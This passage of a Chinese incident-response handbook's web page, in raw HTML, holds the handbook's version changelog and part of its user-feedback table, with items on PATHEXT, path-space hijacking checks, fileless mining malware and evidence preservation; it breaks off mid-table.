#6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.3</span></strong><span leaf=""> - 20250718</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">修复手册引用内容复制乱码、搜索不到的问题</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">为手册添加了目录</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">各个应急事件处置流程添加了流程图</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">各个应急事件处置流程添加了固定证据部分</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 pathext 环境变量排查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 Windows 平台路径存在空格可能带来的劫持排查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 NTFS 备用数据流(ADS)检查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 Windows Sandbox 检查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善近期活动部分内容</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善杀毒软件排查部分注意事项</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">修复了部分注册表错误</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">删除部分失效链接</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善善后部分</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">修复部分文字错误</span></p></li></ul><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.2</span></strong><span leaf=""> - 20240710</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.1</span></strong><span leaf=""> - 20240307</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.0</span></strong><span leaf=""> - 20240203</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">用户反馈列表</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">在反馈过程中，除了 Github 上提交的反馈，我们都会询问是否公开反馈者信息，没有取得明确回复可以公开的情况下，以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">路人甲</span></code><span leaf=""> 代表</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">微信公众号无法主动留言，导致部分反馈者没能联系上，朋友们如果看到自己的反馈以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">路人甲</span></code><span leaf=""> 代表，可以联系我们修改</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">37.  重复内容较多</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0037</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">独眼情报</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 13:33</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">公众号文章留言</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">重复内容太多，工具没必要分功能举例，建议一次性把工具功能讲透</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已注意</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 13:44</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">冗余是因为手册整体按照真实事件处理流程来写的，而不是文章或者教程，出现冗余是正常的，本次更新内容已经注意到该问题，尽可能采用引用的方式规避荣誉问题</span><span leaf=""><br/></span><span leaf="">至于工具功能，后期可能出专题</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">38.  没有对应的练习环境</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0038</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">大灰狼、来包二重积分</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-10 13:57</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">公众号文章留言</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">没有对应的练习环境</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-11 13:55</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已在公众号公开募集应急响应靶场环境</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">39.  Windows 路径空格问题排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0039</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-11 16:49</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Windows遇到空格可能会有解析问题，应该找出所有可能存在解析问题的地址，之后看一下默认存在解析问题情况下解析到的文件是否存在，将所有的记录下来</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 22:20</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Check_Path_Blank" target="_blank">https://github.com/Just-Hack-For-Fun/Check_Path_Blank</a></span></code></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">40.  如何保护现场</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0040</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-11 17:41</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">发生应急事件时如何保护现场</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 18:05</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">41.  rundll32 具体运行了哪些dll</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0041</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-11 17:48</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">rundll32 到底运行了哪些dll</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">暂时忽略</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 22:52</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者也不记得当时这个反馈到底是为了什么了，这个标题内容完全可以通过看进程启动参数和线程信息来看。后续再遇到再添加吧。</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">42.  修改 pathext 是否可以将其他后缀当exe 执行</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0042</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-11 17:52</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 pathext 是否可以将其他后缀当exe 执行</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 18:39</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 pathext 只会修改查找顺序，在 cmd 中可以执行任意后缀的二进制文件，例如 bin、txt</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">43.  完善挖矿病毒处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0043</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-07-17 11:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">目前挖矿主流方式都是无文件的，一般会有一个木马下载器或者前置进程触发器，不断的把poweshell以system权限拉起来</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 19:02</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">目前仅作说明，后续可能会积攒案例后提取公共处理方法</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">44.  添加域控的应急排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid 